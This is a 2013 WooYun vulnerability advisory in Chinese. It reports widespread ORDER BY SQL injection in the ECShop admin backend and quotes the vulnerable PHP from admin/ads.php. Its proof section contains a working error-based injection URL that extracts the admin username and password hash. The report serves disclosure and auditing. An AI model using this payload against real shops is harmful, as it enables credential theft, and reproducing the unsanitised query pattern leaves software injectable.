当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(7) 关注此漏洞

缺陷编号: WooYun-2013-24827

漏洞标题: eshop后台大面积sql注入

相关厂商: ShopEx

漏洞作者: 齐迹

提交时间: 2013-05-30 21:33

公开时间: 2013-08-28 21:33

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 安全意识不足 php源码审核 sql注射漏洞利用技巧

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-30: 细节已通知厂商并且等待厂商处理中
2013-05-30: 厂商已经确认,细节仅向厂商公开
2013-06-02: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-07-24: 细节向核心白帽子及相关领域专家公开
2013-08-03: 细节向普通白帽子公开
2013-08-13: 细节向实习白帽子公开
2013-08-28: 细节向公众公开

简要描述:

自从某数字公司悬赏后,数字公司没火,乌云上对ec的漏洞频繁爆出。。不知是什么一个情况?虽然后台漏洞大多数没钱。但是本着审核代码的原则。还是提一下把混点rank也好。现在rank是111 不吉利啊

详细说明:

后台大规模的存在 order by 注入

搜索了一下 $_REQUEST['sort_by'] 或者$_REQUEST['sort_order'] 大约涉及到30多个文件。。。

我的天。30多处!!ec的开发人员都是copy代码的吗??

说代码把



拿一处来讲把 这里没有检查权限

admin\ads.php 行36

code 区域
if ($_REQUEST['act'] == 'list')
{
$pid = !empty($_REQUEST['pid']) ? intval($_REQUEST['pid']) : 0;

$smarty->assign('ur_here', $_LANG['ad_list']);
$smarty->assign('action_link', array('text' => $_LANG['ads_add'], 'href' => 'ads.php?act=add'));
$smarty->assign('pid', $pid);
$smarty->assign('full_page', 1);

$ads_list = get_adslist();
...
}



未检查权限,只要登录状态即可。

接着查看 get_adslist 方法

code 区域
function get_adslist()
{
/* 过滤查询 */
$pid = !empty($_REQUEST['pid']) ? intval($_REQUEST['pid']) : 0;

$filter = array();
$filter['sort_by'] = empty($_REQUEST['sort_by']) ? 'ad.ad_name' : trim($_REQUEST['sort_by']);
$filter['sort_order'] = empty($_REQUEST['sort_order']) ? 'DESC' : trim($_REQUEST['sort_order']);
.....
$arr = array();
$sql = 'SELECT ad.*, COUNT(o.order_id) AS ad_stats, p.position_name '.
'FROM ' .$GLOBALS['ecs']->table('ad'). 'AS ad ' .
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position'). ' AS p ON p.position_id = ad.position_id '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('order_info'). " AS o ON o.from_ad = ad.ad_id $where " .
'GROUP BY ad.ad_id '.
'ORDER by '.$filter['sort_by'].' '.$filter['sort_order'];
}



$filter['sort_by'] $filter['sort_order'] 直接到sql里面。剩下的就简单了

漏洞证明:

利用代码

http://**.**.**.**/admin/ads.php?act=list&sort_by=sort_order%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(user_name,0x3a,password)%20from%20ecs_admin_user%20limit%201)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20`information_schema`.tables%20group%20by%20x)a)%20and%201=1



ec.jpg







有了MD5 在结合我之前提的找回密码,即可轻松破解密码。。

修复方案:

这么低级的漏洞 前台都是修复了的 后台就不舍得修复一下吗?程序员该打屁屁了!

版权声明:转载请注明来源 齐迹@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2013-05-30 21:38

厂商回复:

感谢您为shopex安全做的贡献
我们会尽快处理
非常感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2013-05-30 21:49 | 齐迹 ( 普通白帽子 | Rank:804 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)
    1

    2rank.... 好把!

  2. 2013-05-31 00:22 | Kuuki ( 普通白帽子 | Rank:175 漏洞数:25 | :P)
    0

    至少脱离111的目的达成了- - 马克一下

  3. 2013-05-31 08:57 | 齐迹 ( 普通白帽子 | Rank:804 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)
    0

    @Kuuki 对 应该满怀感激之情!

  4. 2013-05-31 10:33 | t00000by57 ( 实习白帽子 | Rank:45 漏洞数:5 | Access Denied.)
    0

    shopex跟ecshop是什么关系 好基友么

  5. 2013-05-31 12:41 | 齐迹 ( 普通白帽子 | Rank:804 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)
    0

    @t00000by57 相亲相爱的一家人

  6. 2013-06-24 00:28 | by:安全者 ( 路人 | Rank:22 漏洞数:7 | xxs,sql注入)
    0

    SHOPEX ECSHOP 已经是一家公司了 忽忽

登录后才能发表评论,请先 登录